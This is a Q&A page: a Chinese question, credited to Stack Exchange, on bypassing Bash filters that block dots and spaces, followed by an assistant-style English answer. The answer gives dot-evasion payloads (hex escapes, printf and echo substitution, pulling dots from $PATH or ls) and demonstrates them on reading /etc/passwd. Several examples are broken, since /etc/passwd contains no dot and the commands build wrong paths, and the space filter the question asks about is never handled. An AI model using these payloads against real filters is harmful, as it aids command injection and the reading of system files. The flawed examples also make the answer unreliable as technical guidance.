如何在Bash中绕过对英文句号“.”和空格的过滤？

Great question! When you're working around filters that block the literal . character in Bash, there are several practical alternatives depending on your environment and what you're trying to accomplish. Here are the most reliable methods:

1. Use ASCII Escape Sequences #

Bash supports ANSI-C quoting with $'...', which lets you use hexadecimal or octal values for characters. Since the dot (.) has an ASCII hex value of 0x2E, you can substitute it with $'\x2E':

# Instead of cat /etc/passwd
cat /etc$'\x2E'passwd

# Or if you need a standalone dot (e.g., ./script.sh)
cat $'\x2E'/script.sh

2. Generate the Dot via Command Substitution #

You can use basic utilities to output a dot and embed it with command substitution ($(...)):

• Using printf (most reliable across environments):

  cat /etc/$(printf '.')passwd
  

• Using echo (note: some systems require -e for escape sequences):

  cat /etc/$(echo -e "\x2E")passwd
  

3. Replace Relative Path References #

If you're trying to avoid the dot in ./ (current directory), you can use the $PWD environment variable instead, which holds your current working directory's absolute path:

# Instead of ./myfile.txt
cat $PWD/myfile.txt

4. Extract a Dot from Existing Strings #

If other tools are restricted, you can pull a dot from a pre-existing string (like a default environment variable or output from a command):

# Extract the dot from the PATH variable (which almost always contains dots)
cat /etc/$(echo "$PATH" | grep -o '\.')passwd

# Or from the output of 'ls' (if any file has a dot in its name)
cat /etc/$(ls | grep -o '\.' | head -n1)passwd

Important Notes #

• Keep in mind that some restricted environments may block certain utilities (like printf or grep), so you may need to test which methods work for your case.
• Always ensure you're operating within legal and ethical boundaries when bypassing filters—this information is intended for authorized security testing or debugging purposes only.

内容的提问来源于stack exchange，提问作者Mahmoud Khatib